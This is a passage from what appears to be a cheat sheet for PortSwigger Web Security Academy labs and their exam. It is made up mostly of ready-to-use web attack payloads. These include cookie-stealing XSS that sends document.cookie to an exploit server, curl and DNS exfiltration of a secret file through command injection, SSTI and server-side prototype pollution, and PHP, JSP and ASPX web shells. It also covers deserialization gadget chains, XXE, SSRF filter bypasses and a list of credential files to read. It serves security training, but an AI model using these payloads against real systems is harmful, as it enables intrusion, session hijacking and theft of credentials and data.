  9. IDOR. GET /download-transcript/1.txt.
  10. URL-based access control circumvented:
    GET / HTTP/2
    X-Original-Url: /admin
  11. Method-based access control circumvented. POST /admin-roles returns 401; use GET:
    GET /admin-roles?username=wiener&action=upgrade
  12. Multi-step process with no check on one step:
    POST /admin-roles
    action=upgrade&confirmed=true&username=wiener
  13. Referer-based access control:
    GET /admin-roles?username=wiener&action=upgrade
    Referer: https://LAB-ID.web-security-academy.net/admin

Cross-site request forgery (CSRF)

First look: State-changing endpoints (change email/password, delete account). Cookie attributes — SameSite=Strict is strongest; Lax (modern default) blocks cross-site POST but allows top-level GET; absent → fully exploitable. Look for hidden csrf= / _token= fields. "Change email" is usually the easiest privesc path (change admin's email → request password reset → take over).

Quick tests: Burp → Engagement tools → Generate CSRF PoC; remove the token entirely; replace with a token from your own session; swap POST → GET.

Note

The defence in play is the whole puzzle, so run the four quick checks first (drop the token, reuse your own token, swap the method, look at the SameSite attribute) before you build the PoC. The action you're forging may be a password change or add-admin rather than email, so read the real form fields. And if the cookie is SameSite=Strict, the simple auto-submit form won't carry it, so you'll need the sibling-domain (lab 9) or client-side-redirect (lab 8) chain.

Labs:

  1. No defences. Auto-submitting form:
    <form action="https://LAB-ID.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@evil.com" />
    </form>
    <script>document.forms[0].submit();</script>
  2. Token validation depends on method. Switch to GET (GET /my-account/change-email?email=...); the token is then not required.
  3. Token validation depends on token being present. Remove the csrf parameter entirely (leaving it blank still gets checked).
  4. Token not tied to session. Generate a PoC with an unused token from your own session.
  5. Token tied to a non-session cookie. Inject your csrfKey into the victim via a reflected Set-Cookie (CRLF), then submit with the matching body token:
    <img src="https://LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-CSRF-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
  6. Token duplicated in a cookie. Same CRLF trick, forcing cookie and body token to match.
  7. SameSite Lax bypass via method override. GET ...?email=...&_method=POST.
  8. SameSite Strict bypass via client-side redirect. Abuse a redirect (postId=../my-account/change-email?...):
    https://LAB-ID.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email?email=attacker%40evil.com%26submit=1
    
  9. SameSite Strict bypass via sibling domain. A sibling subdomain with a vulnerable WebSocket/XSS is same-site, so its requests carry the Strict cookie:
    <script>
      var ws = new WebSocket('wss://cms-LAB-ID.web-security-academy.net/chat');
      ws.onopen = () => {
        ws.send(`<img src=x onerror="fetch('https://LAB-ID.web-security-academy.net/my-account/change-email',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'email=pwned@test.com'})">`);
      };
    </script>
  10. SameSite Lax bypass via cookie refresh. Force a cookie refresh (open /social-login), then the PoC works within the first 120 seconds during which Lax is not enforced on top-level POST.
  11. Referer validation depends on the header being present. Suppress it: <meta name="referrer" content="no-referrer">.
  12. Broken Referer validation. Put the lab domain in the pushState URL and set Referrer-Policy: unsafe-url on the exploit server.

OAuth authentication

First look: "Login with Google/Facebook/GitHub" buttons; URLs with client_id=, redirect_uri=, response_type=, scope=, state=, code=; /.well-known/oauth-authorization-server / openid-configuration; /oauth/callback, /social-login.

Quick tests: check for a state parameter (absent → CSRF-attachable); change redirect_uri to your server; try directory traversal in redirect_uri; look for an open redirect on the whitelisted callback domain.

Note

How strictly redirect_uri is validated is the tweak to probe (a loose match, an open redirect on the whitelisted domain, or path traversal on the callback path). If the flow carries a state or nonce, the account-binding CSRF route is closed, so pivot to stealing the code or token via redirect_uri. Whether you steal a code or a token depends on response_type: a code goes through /oauth-linking?code=, while a token lands in the URL fragment and needs the proxy-page JS to exfil it.

Labs:

  1. Improper implicit grant. The client trusts identity data from the token without verifying it; tamper the submitted email/identity.
  2. Flawed CSRF (no state). Bind the victim's account to your social login. Intercept your own code, drop the request, and deliver the linking URL to the victim:
    <iframe src="https://LAB-ID.web-security-academy.net/oauth-linking?code=YOUR-STOLEN-CODE"></iframe>
  3. Flawed redirect_uri validation. Point it at your server to receive the code:
    <iframe src="https://oauth-YOUR-OAUTH-ID.oauth-server.net/auth?client_id=YOUR-CLIENT-ID&redirect_uri=https://YOUR-EXPLOIT.exploit-server.net&response_type=code&scope=openid%20profile%20email"></iframe>
    Validation-bypass shapes: https://default-host.com &@foo.evil-user.net#@bar.evil-user.net/, or a duplicate redirect_uri parameter.
  4. Stealing codes/tokens via a proxy page. Use directory traversal on the callback path to reach an open redirect on the whitelisted domain, then forward the victim (with their token in the fragment) to your server:
    <script>
      if (!document.location.hash) {
        window.location = 'https://YOUR-OAUTH.oauth-server.net/auth?client_id=YOUR-CLIENT&redirect_uri=https://LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT.exploit-server.net/exploit/&response_type=token&nonce=-1&scope=openid%20profile%20email'
      } else {
        window.location = '/?'+document.location.hash.substr(1)
      }
    </script>

CORS

First look: API endpoints returning sensitive JSON (/accountDetails, /api/me). Response headers Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods. Subdomain trust.

Quick tests: add Origin: https://evil.com and check if it is reflected in ACAO; try Origin: null; suffix/prefix (target.com.evil.com, evil.com.target.com); confirm Access-Control-Allow-Credentials: true (without it, reflected origins are useless for cookie theft).

Note

None of this works without Access-Control-Allow-Credentials: true, so confirm that first (otherwise no session cookie travels). The trust rule varies (plain origin reflection, a trusted null origin, or subdomain trust), so test Origin: null, a suffix/prefix origin, and a real subdomain to see which the app accepts. And the endpoint holding the secret won't always be /accountDetails, so find whichever one leaks the API key.

Labs:

  1. Basic origin reflection. Steal the API key from /accountDetails:
    <script>
    var req = new XMLHttpRequest();
    req.onload = function(){ location='https://YOUR-EXPLOIT.exploit-server.net/log?key='+this.responseText; };
    req.open('get','https://LAB-ID.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    </script>
  2. Trusted null origin. A sandboxed iframe has a null origin:
    <iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req=new XMLHttpRequest();
    req.onload=function(){ location='https://YOUR-EXPLOIT.exploit-server.net/log?key='+encodeURIComponent(this.responseText); };
    req.open('get','https://LAB-ID.web-security-academy.net/accountDetails',true);
    req.withCredentials=true; req.send();
    </script>"></iframe>
  3. Trusted insecure protocols / subdomain trust. Chain an XSS on a whitelisted subdomain to make the CORS request:
    <script>document.location="https://stock.LAB-ID.web-security-academy.net/?productId=<script>var req=new XMLHttpRequest();req.onload=function(){location='https://YOUR-EXPLOIT.exploit-server.net/log?key='+this.responseText};req.open('get','https://LAB-ID.web-security-academy.net/accountDetails',true);req.withCredentials=true;req.send();%3c/script>&storeId=1"</script>

Prototype pollution (client-side)

First look: URL params containing __proto__, constructor, prototype; JS using lodash.merge, jQuery.extend(true, ...), custom recursive merges; dynamic property reads (config[userInput]).

Quick tests: DOM Invader → Prototype Pollution → "Scan for gadgets"; drop ?__proto__[test]=POLLUTED and check Object.prototype.test in the console; if __proto__ is stripped, try ?constructor[prototype][test]=POLLUTED or the nested __pro__proto__to__ bypass.

Common source patterns:

?__proto__[prop]=value
?__proto__.prop=value
?constructor[prototype][prop]=value
#__proto__[prop]=value

Note

If __proto__[x] is filtered, switch to the dot form, constructor[prototype][x], or the nested variant that survives a single-pass strip. The gadget property that reaches a sink differs per app, so scan for it with DOM Invader rather than pasting a known one. The end goal is to steal the admin's cookie through the DOM-XSS gadget (swap the alert for a fetch to your server).

Labs:

  1. Via browser APIs. A polluted value reaches a javascript:/data URL sink:
    GET /?__proto__[value]=data:,alert(1);
  2. DOM XSS via pollution. DOM Invader → Scan for gadgets → Exploit.
  3. Alternative vector (custom parser accepts the dot form):
    GET /?__proto__.sequence=alert(1)-
  4. Flawed sanitization (non-recursive strip). Use DOM Invader to find the surviving form (e.g. __pro__proto__to__).
  5. Third-party library gadget (e.g. an analytics hitCallback). Deliver via exploit server:
    <script>location="https://LAB-ID.web-security-academy.net/#__proto__[hitCallback]=alert%28document.cookie%29"</script>
    Replace alert with a fetch to your server to steal the admin's cookie.

Gadget hunting. When DOM Invader misses it, grep the page source for properties read without a hasOwnProperty guard (if (config.transport_url), script.src = options.src, new Function(callback)()). Sources to try in order: query __proto__, hash __proto__, dot form, constructor[prototype], then a JSON body if there's a POST sink.


Insecure deserialization (type confusion)

For gadget-chain RCE at Stage 3, see gadget chains. Here the goal is privesc to administrator by tampering a serialised session object you control.

First look: Session cookies/tokens that are base64 (possibly URL-encoded) and longer than ~40 chars. After base64-decode, check the first bytes:

Format Indicator
PHP O: (object), a: (array), s: (string), often URL+base64
Java rO0 (base64 of \xac\xed) or raw \xac\xed\x00\x05
.NET / ViewState AAEAAAD///// or the __VIEWSTATE parameter
Ruby \x04\x08
Python pickle \x80\x04

Quick tests: decode, find a boolean (b:0/b:1) or admin flag, flip it, re-encode, replay. If an access_token string exists, try replacing it with integer 0 (loose-comparison bypass on PHP 7.x).

Note

Decode the token first and identify the format from the leading bytes rather than assuming PHP. What you tamper varies (a boolean flag, a type-juggled token, or a differently named field), so read the object before editing. Whenever you change a string, fix its length prefix or the object won't deserialize (the classic trap that checks you actually understand it). And the type-juggling trick (0 == "string") only works on PHP 7.x, not 8, so if it fails the target is probably PHP 8.

Labs:

  1. Modifying a serialised object. Flip admin from b:0 to b:1:
    O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}
  2. Modifying data types (PHP loose comparison — 0 == "string" is true on PHP 7.x). Make the token comparison pass with integer 0, and fix the length prefix (s:6:"wiener"s:13:"administrator"):
    O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}

Stage 3 — Exfiltration

Goal: read /home/carlos/secret. Reach it with any file-read or RCE primitive: SSRF to the internal service on localhost:6566, XXE, directory traversal, or RCE via OS command injection, SSTI, a deserialization chain, file upload, or SSPP. See the read-the-secret section.


Server-side request forgery (SSRF)

Exam shortcut — localhost:6566. When you have any SSRF primitive, point it at the internal file-read service:

http://localhost:6566/home/carlos/secret
http://127.0.0.1:6566/etc/passwd
http://localhost:6566//home/carlos/secret     (double-slash if single fails)

If localhost / 127.0.0.1 is filtered:

http://127.1:6566/home/carlos/secret
http://[::1]:6566/home/carlos/secret
http://2130706433:6566/home/carlos/secret       (decimal-encoded 127.0.0.1)

The response body is the secret — no OOB needed. This is faster than chaining file upload / command injection / SSTI when SSRF is what you already have.

Note

On the exam the target you actually want is the internal file service: http://localhost:6566/home/carlos/secret. If localhost/127.0.0.1 is blacklisted, cycle the alternatives ([::1], 2130706433, 0177.0.0.1, 127.0.0.1.nip.io, mixed case, or a double-encoded host). If it's a whitelist instead, blacklist tricks won't help, so chain an open redirect or use @/# parsing tricks (http://expected-host@localhost:6566/..., http://localhost:6566#expected-host). And remember blind SSRF can fire the request but won't hand you the file unless the response is reflected back.

Labs:

  1. Basic SSRF against the local server:
    POST /product/stock
    stockApi=http://localhost/admin/delete?username=carlos
  2. Against another back-end system (Intruder the last octet):
    stockApi=http%3a//192.168.0.{1}%3a8080/admin/
  3. Blind SSRF with OAST detection:
    Referer: https://YOUR-COLLAB.oastify.com
  4. Blacklist-based filter:
    stockApi=http%3a//127.1/Admin/delete?username=carlos
  5. Filter bypass via open redirection:
    stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin/delete?username=carlos
  6. "Download report as PDF" SSRF. The PDF renderer fetches/renders your markup. Read the file into the PDF, or exfil out-of-band:
    {"table-html":"<iframe src=\"file:///home/carlos/secret\" width=\"1000\" height=\"1000\"></iframe>"}
    {"table-html":"<script>x=new XMLHttpRequest();x.open('GET','file:///home/carlos/secret');x.onload=function(){location='https://YOUR-EXPLOIT.exploit-server.net/?'+btoa(this.responseText)};x.send();</script>"}
    {"table-html":"<iframe src=\"http://localhost:6566/\" width=\"1000\" height=\"1000\"></iframe>"}
    

Directory traversal

First look: Params named file, path, filename, image, template, view, page, include, download; image-render endpoints; document/PDF downloads.

The bypass ladder:

../../../etc/passwd
/etc/passwd                          (absolute path)
....//....//....//etc/passwd         (non-recursive strip)
..%252f..%252f..%252fetc/passwd      (double URL-encode)
../../../etc/passwd%00.png           (null byte, PHP < 5.3.4)
/var/www/images/../../../etc/passwd  (start-of-path validation)

Note

Once you've confirmed the read primitive with something small like /etc/hostname, retarget it straight at /home/carlos/secret instead of re-reading passwd. The exam tends to stack filters (strip ../, validate the start of the path, require an extension), so chain the bypasses on the real path rather than testing them on /etc/passwd. Possible shape:

GET /image?filename=/var/www/images/....//....//....//....//home/carlos/secret

Labs map one-to-one to the ladder above (simple case, absolute-path bypass, non-recursive strip, superfluous URL-decode, start-of-path validation, null-byte extension).

Files worth reading on Linux. Exam goal is /home/carlos/secret. Confirm the read primitive with /etc/passwd (world-readable root:x:0:0:) or /etc/hostname. Highest-value single file is /proc/self/environ — it dumps every env var the web process started with, often DB creds, AWS keys, JWT secrets. Others: /proc/self/cmdline, /proc/self/cwd/<file>, app config (config.php, settings.py, application.properties, .env, wp-config.php), web-server config/logs (/etc/nginx/nginx.conf, /var/log/apache2/access.log — log poisoning), user home dirs (.bash_history, .ssh/id_rsa, .aws/credentials), and Docker artefacts (/.dockerenv, /proc/self/cgroup).


XML external entity (XXE) injection

First look: Requests with Content-Type: application/xml / text/xml / application/soap+xml; SOAP endpoints; SVG uploads (SVG is XML — parsed during thumbnailing); DOCX/XLSX (zipped XML); RSS/Atom; any body starting with <?xml.

Quick tests: inject a SYSTEM "file:///etc/hostname" entity; for blind, use the OAST DTD pattern; if DOCTYPE is blocked, use XInclude; for SVG, embed the entity in the doctype and view the rendered image.

Note

Point the file entity at /home/carlos/secret instead of the lab's /etc/passwd. If <!DOCTYPE is stripped, switch to XInclude (lab 7) or the SVG-upload route (lab 8). If there's no reflection, go blind with an out-of-band external DTD (lab 5) or the error-based variant (lab 6). If general entities are blocked but parameter entities aren't, fall back to the %-parameter-entity form. Either way, host the malicious DTD on your exploit server with the secret path already baked in.

Labs:

  1. Retrieve files via external entities:
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
    <stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
  2. SSRF via XXE:
    <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
  3. Blind XXE with OAST interaction. Point an entity at http://YOUR-COLLAB.oastify.com.
  4. Blind XXE via XML parameter entities:
    <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://YOUR-COLLAB.oastify.com"> %xxe; ]>
  5. Exfiltrate via a malicious external DTD hosted on your server:
    <!-- hosted DTD -->
    <!ENTITY % file SYSTEM "file:///etc/hostname">
    <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://YOUR-EXPLOIT.exploit-server.net/?x=%file;'>">
    %eval;
    %exfiltrate;
    <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://YOUR-EXPLOIT.exploit-server.net/malicious.dtd"> %xxe;]>
    <stockCheck><productId>%xxe;</productId><storeId>1</storeId></stockCheck>
  6. Retrieve data via error messages. Point the inner entity at file:///nonexistent/%file; and read the secret out of the parse error.
  7. XInclude (no DOCTYPE needed):
    productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
    
  8. XXE via SVG upload:
    <?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg xmlns="http://www.w3.org/2000/svg"><text font-size="16" x="0" y="16">&xxe;</text></svg>

OS command injection

First look: Params that look like a hostname/IP/filename/shell arg; "ping this host" / "DNS lookup" features; feedback forms that email (backend shells out); image/file processing (convert, ffmpeg, pdftotext).

Separators (both Windows and Unix): &, &&, |, ||. Unix-only: ;, newline (0x0a). Inline execution: `injected` or $(injected). If your input lands inside quotes, terminate the quote first.

Note

The goal is to exfil /home/carlos/secret, not just run whoami, so swap the injected command for the curl / DNS / file-write exfil (see the read-the-secret section). Output is usually stripped, so work blind: confirm with a time delay, then exfil over OAST. Assume at least one filter class is in play. And if the backend uses array-style exec (no shell), $(), backticks, and > won't expand, so invoke the binary with its own arguments directly. Possible shape:

||curl https://YOUR-COLLAB.oastify.com/ -d @/home/carlos/secret||

Labs:

  1. Simple case. productId=1;whoami&storeId=3
  2. Blind with time delays. email=x||ping+-c+10+127.0.0.1||
  3. Blind with output redirection. email=x||whoami+>+/var/www/images/output.txt||, then GET the file.
  4. Blind with OAST. email=x||nslookup+YOUR-COLLAB.oastify.com||
  5. Blind with OAST data exfiltration. email=x||nslookup+whoami.YOUR-COLLAB.oastify.com||

Filter bypasses.

Space substitution:

{cat,/etc/passwd}
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
cat</etc/passwd

Break the command name:

ca''t /etc/passwd
c"a"t /etc/passwd
\c\a\t /etc/passwd
/???/??t /etc/passwd            # /bin/cat
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh

Quote-context escape (input inside mail "$EMAIL"): "; whoami; #, $(whoami), `whoami`. Slash/path filtering: cd ..;cd ..;cd ..;cat etc/passwd, ${HOME}/../../etc/passwd. Windows: c^a^t (caret escape), type C:\Windows\win.ini.

Triage checklist: basic separator → quoted-context break → encoded separator (%0a, %09, %00) → break the command (ca''t, /???/??t) → space bypass (${IFS}) → / bypass → time delay → OAST → blind-to-file / command-as-subdomain.


Server-side template injection (SSTI)

First look: Email subject/body fields (password-reset "Hi {name},"), error pages echoing input, file-render endpoints, anything server-side-rendered into a template.

Fingerprint: polyglot ${{<%[%'"}}%\ (the stack trace often names the engine); ${7*7} (Ruby ERB / Java / Freemarker), {{7*7}} (Jinja2 / Twig / Handlebars), <%= 7*7 %> (ERB/EJS), #{7*7} (Pug/Ruby), *{7*7} (Thymeleaf). 49 in the response confirms SSTI.

SSTI engine decision tree

Note

Fingerprint the template engine first (the lab 4 workflow with the polyglot) before reaching for a payload. The goal is to read and exfil /home/carlos/secret, not delete morale.txt like the labs, so use the engine's RCE with curl -d @/home/carlos/secret (see the read-the-secret section). If the engine is sandboxed and you can't shell out, pivot to another primitive for the file. Possible shape:

${"freemarker.template.utility.Execute"?new()("curl https://YOUR-COLLAB.oastify.com/ -d @/home/carlos/secret")}

Labs (objective usually delete morale.txt; the exam wants secret):

  1. Basic SSTI (ERB): <%= 7 * 7 %>; delete: <%= File.delete('/home/carlos/morale.txt') %>
  2. Code context. Close the surrounding expression first:
    blog-post-author-display=user.name}}{%import os%}{{os.system('rm /home/carlos/morale.txt')}}
    
  3. Freemarker (identified from probing):
    ${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}
    
  4. Unknown language with a documented exploit. The polyglot reveals Handlebars (via a node-... stack trace); use the Handlebars gadget chain to reach child_process.exec.
  5. Information disclosure via user-supplied objects. Django:
    {% debug %}
    {{settings.SECRET_KEY}}
    

File upload vulnerabilities

First look: Avatar / profile-picture uploads, document/attachment forms, resume uploads, any <input type="file">. Check the response for the resulting URL (/files/avatars/, /uploads/).

Quick tests: upload shell.php with <?php echo file_get_contents('/home/carlos/secret'); ?>; if the extension is blocked, try the ladder .phtml, .phar, .php5, .pHp, .php., .php%00.jpg; spoof Content-Type: image/jpeg; path-traverse the filename (../shell.php); upload .htaccess mapping a custom extension to PHP.

Note

Upload a shell that reads /home/carlos/secret. Expect stacked filters (Content-Type, extension blocklist, magic bytes), so be ready to go past a plain .php with extension tricks, an .htaccess mapping, or a polyglot. Match the shell language to the backend if it isn't PHP, and if the upload won't execute where it lands, fall back to the SVG-XXE side door for a pure file read.

Reusable web shells:

<?php echo file_get_contents('/home/carlos/secret'); ?>   // single-shot read
<?php echo system($_GET['cmd']); ?>                        // interactive: /shell.php?cmd=id
<?php
$c = file_get_contents('/home/carlos/secret');
file_get_contents('https://YOUR-COLLAB.oastify.com/?x=' . urlencode($c));
?>
<%@ page import="java.util.*,java.io.*"%>
<% Process p=Runtime.getRuntime().exec(request.getParameter("c"));
   BufferedReader r=new BufferedReader(new InputStreamReader(p.getInputStream()));
   String l; while((l=r.readLine())!=null){out.println(l);} %>
<%@ Page Language="C#" %>
<% System.Diagnostics.Process.Start("cmd.exe","/c " + Request["c"]); %>

Labs: direct upload → Content-Type spoof → path traversal (../shell.php, ..%2fshell.php) → extension blacklist bypass (.phtml etc, or .htaccess mapping AddType application/x-httpd-php .l33t) → obfuscated extension (shell.php%00.jpg, shell.jpg.php) → polyglot (embed PHP in EXIF so the file passes getimagesize()):

exiftool -Comment='<?php echo file_get_contents("/home/carlos/secret"); ?>' shell.jpg && mv shell.jpg shell.phtml

Race condition (upload → scan → delete) — race it with Turbo Intruder:

engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30)
engine.queue(upload_request)
for i in range(50):
    engine.queue(call_shell_request)

Triage: upload .php → spoof Content-Type → blacklist-bypass extensions → path traversal → .htaccess → polyglot → race condition → check where the file lands (non-executable directory?).

SVG-XXE side door. If upload accepts SVG and the backend parses it, treat it as XXE — faster than a web shell when you only need a file read.


Insecure deserialization (gadget chains)

For simple privesc-by-tampering, see type confusion. Here you use gadget chains for RCE or arbitrary file read/write. Typical exam sinks: delete /home/carlos/morale.txt, or exfil /home/carlos/secret via curl.

Note

Swap the labs' rm morale.txt for the curl exfil so you actually read /home/carlos/secret. The working gadget chain depends on the exact library version, so cycle the candidates rather than betting on one, and let the Java Deserialization Scanner extension detect the sink and generate the ysoserial payload for you. If the cookie is HMAC-signed, re-sign it after tampering, and match the encoding wrapper the app expects (base64, URL+base64, or raw).

Labs:

  1. Application-functionality gadget (PHP magic method). Read the source via a backup file (GET /libs/CustomTemplate.php~), then craft an object whose __destruct() acts on your path:
    O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
  2. Java — Apache Commons via ysoserial:
    java \
      --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
      --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
      --add-opens=java.base/java.net=ALL-UNNAMED \
      --add-opens=java.base/java.util=ALL-UNNAMED \
      -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 -w 0
    Exfil variant:
    ysoserial-all.jar CommonsCollections7 'curl https://YOUR-COLLAB.oastify.com/x -d @/home/carlos/secret'
    If CommonsCollections4 fails, cycle CommonsCollections17, BeanShell1, Spring1, Hibernate1 — different lib versions accept different chains.
  3. PHP — pre-built gadget chain via PHPGGC. If the cookie is HMAC-signed, first leak the secret (e.g. phpinfo.php), then re-sign:
    ./phpggc Symfony/RCE4 exec 'curl https://YOUR-COLLAB.oastify.com/x -d @/home/carlos/secret' | base64 -w 0
    import hmac, hashlib
    secret = b"LEAKED-SECRET"
    token = b"BASE64-TOKEN"
    print(hmac.new(secret, token, hashlib.sha1).hexdigest())
    Cycle Symfony/RCE16, Laravel/RCE*, Doctrine, Guzzle, Slim, Monolog.

Tips. If you don't know the secret, check phpinfo, .git, or .env first. Always try multiple chains. For Java, the --add-opens flags are required on JDK 9+.


Server-side prototype pollution (SSPP)

For the client-side DOM-XSS chain, see prototype pollution (client-side). Here you pollute Object.prototype on a Node backend via a JSON body containing __proto__ (or constructor.prototype) — for privesc or RCE.

Detection (no DOM to inspect):

  • Reflected property — send {"__proto__":{"foo":"bar"}} and check unrelated endpoints for foo.
  • Status-code override{"__proto__":{"status":510}}, then look for HTTP/1.1 510.
  • json spaces (most reliable, silent){"__proto__":{"json spaces":10}}, then any JSON response is indented by 10 spaces.
  • Exposed headers — pollute exposedHeaders, confirm via Access-Control-Expose-Headers.

Note

Detection is silent, so let the Server-Side Prototype Pollution Scanner extension find it. It automates the probes, like the json spaces trick where polluting json spaces makes every JSON response come back indented.

Labs:

  1. Privilege escalation. Pollute isAdmin on the merged user object:
    POST /my-account/change-address HTTP/2
    
    {"address_line_1":"x","sessionId":"YOUR-SESSION","__proto__":{"isAdmin":true}}
    Refresh /my-account — admin links should appear.
  2. Detection without reflection. Use the json spaces technique, then escalate via isAdmin.
  3. Bypassing input filters. When __proto__ is stripped, use constructor.prototype:
    {"sessionId":"YOUR-SESSION","constructor":{"prototype":{"isAdmin":true}}}
    Other forms: __pro__proto__to__, URL-encoded property name, array nesting.

RCE via SSPP:

{"__proto__":{"argv0":"node","shell":"node","NODE_OPTIONS":"--inspect=YOUR-COLLAB.oastify.com:80"}}
{"__proto__":{"shell":"/bin/sh -c 'curl https://YOUR-COLLAB.oastify.com/?x=$(cat /home/carlos/secret)'"}}
{"__proto__":{"execArgv":["--eval=require('child_process').execSync('curl https://YOUR-COLLAB.oastify.com')"]}}

Exfiltration techniques


Steal a session cookie (I have XSS)

The "I have a working XSS, now what" reference. Pick by injection type, deliver, read the log.

Note

The cookie name may not be session, so send all of document.cookie. An empty log usually means you forgot Deliver to victim or the payload broke.

Delivery workflow (the step that costs time):

  1. Open the lab's exploit server. Leave Content-Type: text/html.
  2. Paste one payload below into the body. Store.
  3. Deliver exploit to victim (also fires on the victim's ~15s homepage visit for stored payloads).
  4. Access log. The cookie lands as GET /?c=session=XXXX.

Always test on your own session first and watch your own access log — if nothing arrives, your payload broke, not the delivery.

Stored XSS (rendered field — victim triggers it on their next visit):

<script>fetch('https://YOUR-EXPLOIT.exploit-server.net/?c='+document.cookie)</script>
<script>document.location='https://YOUR-EXPLOIT.exploit-server.net/?c='+document.cookie</script>
<script>new Image().src='https://YOUR-EXPLOIT.exploit-server.net/?c='+document.cookie</script>

Reflected XSS (store an exploit that navigates the victim to the reflected URL):

<script>
document.location = "https://LAB-ID.web-security-academy.net/?search=<script>fetch('https://YOUR-EXPLOIT.exploit-server.net/?c='%2bdocument.cookie)<\/script>";
</script>

URL-encode the inner payload, %2b = +, and write the inner closing tag as <\/script> so it doesn't terminate the outer block.

Filtered context (parens/dots/quotes blocked — cross-ref restrictions bypass):

"-fetch`https://YOUR-EXPLOIT.exploit-server.net?c=${document.cookie}`-"
"-Function`X${document.location="https://YOUR-EXPLOIT.exploit-server.net/?c="+document.cookie}```-"

CSP blocks inline script? Load an external script from your exploit server (host x.js there containing the fetch):

<script src="https://YOUR-EXPLOIT.exploit-server.net/x.js"></script>

Cookie has special characters? Wrap it: fetch('...?c='+encodeURIComponent(document.cookie)).


Read /home/carlos/secret (I have RCE / file read)

Pick by the primitive you hold. secret is plain text. Read the objective first — sometimes the goal is to delete /home/carlos/morale.txt instead.

SSRF — the internal file-read service:

http://localhost:6566/home/carlos/secret

localhost blocked → http://127.1:6566/..., http://[::1]:6566/..., http://2130706433:6566/..., or //home. The response body is the secret.

Directory traversal / LFI:

?filename=/home/carlos/secret
?filename=../../../../../home/carlos/secret

XXE — file entity (reflected):

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///home/carlos/secret"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Blind → OOB external DTD with the secret baked into the exfil URL (see XXE lab 5). Error-based → point the inner entity at file:///nonexistent/%file;.

OS command injection (blind, in order of preference):

||curl https://YOUR-COLLAB.oastify.com/ -d @/home/carlos/secret||      # POST body, never truncates
||cat /home/carlos/secret > /var/www/images/o.txt||                    # then GET /image?filename=o.txt
||nslookup `cat /home/carlos/secret`.YOUR-COLLAB.oastify.com||         # DNS only if HTTP egress blocked

SSTI — engine RCE performs the read:

Freemarker: ${"freemarker.template.utility.Execute"?new()("curl https://YOUR-COLLAB.oastify.com/ -d @/home/carlos/secret")}
Jinja2:     {{cycler.__init__.__globals__.os.popen('curl https://YOUR-COLLAB.oastify.com/ -d @/home/carlos/secret').read()}}
Twig:       {{['curl https://YOUR-COLLAB.oastify.com/ -d @/home/carlos/secret']|filter('system')}}

File upload web shell:

<?php echo file_get_contents('/home/carlos/secret'); ?>
<?php file_get_contents('https://YOUR-COLLAB.oastify.com/?x='.urlencode(file_get_contents('/home/carlos/secret'))); ?>

Deserialization RCE — swap the command in your ysoserial/phpggc payload to the curl-exfil above.

SSPP RCE (Node):

{"__proto__":{"shell":"/bin/sh -c 'curl https://YOUR-COLLAB.oastify.com/?x=$(cat /home/carlos/secret)'"}}

How to read what you exfiltrated. Collaborator: Poll → select the interaction; for curl -d @file the content is the request body; for ?x=... it's in the URL (URL-decode). Exploit-server access log: the ?x=... query string holds it. Truncated? Prefer curl -d @file (POST body never truncates); a ?x= GET can hit URL-length limits.

Time-wasters. The objective may be delete, not read. Collaborator may get DNS but no HTTP (egress is DNS-only → switch to the DNS-subdomain exfil). If exec is array-style (no shell), $()/backticks/> won't expand — invoke curl directly with its own args. SSRF but port/path filtered → the read service is still :6566; only the way you reach it changes.


Restrictions bypass

XSS filter bypasses for when the obvious payload is blocked.

References: Bypassing signature-based XSS filters · URL-validation bypass cheat sheet

JavaScript escaping — Unicode, hex, and octal escapes (Hackvertor makes these one click):

Hackvertor encode tab

Dynamically constructing strings:

<script>eval('al'+'ert(1)');</script>
eval(atob('amF2YXNjcmlwdDphbGVydCgxKQ'));

Generate a base64 payload and drop it into atob:

echo -n "document.location = 'https://YOUR-COLLAB.oastify.com/?cookie='+document.cookie" | base64
<script>eval(atob("BASE64-PAYLOAD"))</script>

Alternatives to eval: 'alert(1)'.replace(/.+/,eval)

Avoiding dots (dot filtered): alert(document['cookie']), or Unicode-escape the dot inside an eval'd string.

Avoiding parentheses (( / ) filtered):

%25%32%38     // %28 → (
%25%32%39     // %29 → )

Template-literal Function constructor — the highest-value paren-free RCE shape (three backticks close the literal and call the function with no args):

"-Function`X${document.location="https://YOUR-EXPLOIT.exploit-server.net/steal?c="+document.cookie}```-"

